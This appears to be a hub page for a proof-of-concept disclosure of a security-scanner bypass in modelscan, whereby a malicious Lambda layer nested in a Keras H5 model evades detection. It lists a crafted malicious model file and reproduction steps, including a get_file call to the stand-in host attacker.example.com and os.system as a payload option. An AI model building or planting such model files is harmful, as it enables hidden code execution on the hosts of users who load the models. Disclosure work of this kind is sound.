You can deploy this model and start earning money today!

LozzyKappa/
modelscan-poc-test

Name: modelscan-poc-test
Availability: InStock

Views

No views yet

modelscan v0.8.8 — H5 Nested Sequential Lambda Bypass

Affected: protectai/modelscan ≤ 0.8.8
Type: Security scanner bypass → attacker-controlled code execution on inference
Status: In triage (huntr MFV program)

Summary

modelscan scans Keras HDF5 model files for dangerous Lambda layers. It does not recurse into nested Sequential models. An attacker embeds a malicious Lambda inside an inner Sequential — modelscan reports the file as clean.

Files

File	Description
`malicious_nested.h5`	Crafted Keras H5 with nested Lambda (`keras.utils.get_file` as PoC payload)
`reproduce.py`	Automated reproduction: scanner bypass + hidden Lambda extraction + trigger

Reproduce

bash

pip install modelscan tensorflow h5py numpy
python3 reproduce.py

Expected output:

modelscan reports No threats found ← bypass confirmed
Script extracts the hidden Lambda from the nested Sequential
model.predict() calls keras.utils.get_file(origin="https://attacker.example.com/payload.sh") → outbound HTTP to attacker server

Root Cause

modelscan inspects the top-level model_config attribute of the H5 file. When a Sequential is nested inside another Sequential, the inner model's layer configs are stored as a sub-object — modelscan does not recurse into them.

Crafted structure:

outer_model (Sequential)
  └─ inner_model (Sequential)   ← modelscan stops here
       └─ Lambda(keras.utils.get_file, origin=ATTACKER_URL)

Impact

Any payload works in the nested Lambda position:

keras.utils.get_file → SSRF / remote payload download
os.system → arbitrary command execution on the host
open(...).write(...) → filesystem write

Users loading models through modelscan-protected infrastructure (e.g. HuggingFace model hub) receive a false "clean" verdict. On inference the Lambda executes without warning.

LozzyKappa/modelscan-poc-test